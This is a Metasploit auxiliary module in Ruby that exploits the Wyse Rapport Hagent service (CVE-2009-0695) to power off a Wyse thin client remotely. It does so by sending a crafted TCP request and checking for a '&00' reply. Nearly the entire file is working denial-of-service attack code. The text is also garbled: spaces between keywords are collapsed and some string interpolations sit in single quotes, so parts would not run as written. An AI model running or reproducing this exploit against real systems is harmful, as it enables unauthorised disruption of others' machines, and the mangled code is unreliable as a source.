require'msf/core'classMetasploit3<Msf::AuxiliaryRank=ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dosdefinitialize(info ={})super(update_info(info,'Name'=>'Wyse Machine Remote Power off (DOS)','Description'=>%q{
This module exploits the Wyse Rapport Hagent service and cause
remote power cycle (Power off the wyse machine remotely).
},'Stance'=>Msf::Exploit::Stance::Aggressive,'Author'=>'it.solunium@gmail.com','Version'=>'$Revision: 14976 $','References'=>[['CVE','2009-0695'],['OSVDB','55839'],['US-CERT-VU','654545'],['URL','http://snosoft.blogspot.com/'],['URL','http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'],['URL','http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'],['URL','http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'],],'Privileged'=>true,'DefaultOptions'=>{'EXITFUNC'=>'process',},'Targets'=>[['Wyse Linux x86',{'Platform'=>'linux',}],],'DefaultTarget'=>0,'DisclosureDate'=>'Jun 13 2012'))register_options([Opt::RPORT(80),],self.class)enddef run
# Connect to the target serviceprint_status("Connecting to the target #{rhost}:#{rport}")if connect
print_status("Connected...")end# Parameters
genmac ="00"+Rex::Text.rand_text(5).unpack("H*")[0]
craft_req ='&V52&CI=3|'
craft_req <<'MAC=#{genmac}|#{rhost}|'
craft_req <<'RB=0|MT=3|'
craft_req <<'|HS=#{rhost}|PO=#{rport}|'
craft_req <<'SPO=0|'# Send the malicious request
sock.put(craft_req)# Download some response data
resp = sock.get_once(-1,10)print_status("Received: #{resp}")
disconnect
ifnot resp
print_error("No reply from the target, this may not be a vulnerable system")returnendif resp =='&00'print_status("#{rhost} execute command succefuly & power off.")returnend#Exeptionsrescue::Rex::ConnectionRefusedprint_status("Couldn't connect to #{rhost}:#{rport} | Connection refused.")rescue::Rex::HostUnreachableprint_status("Couldn't connect to #{rhost}:#{rport} | Host unreachable")rescue::Rex::ConnectionTimeoutprint_status("Couldn't connect to #{rhost}:#{rport} | Connection time out")rescue::Errno::ECONNRESET,::Timeout::Errorprint_status("#{rhost} not responding.")endend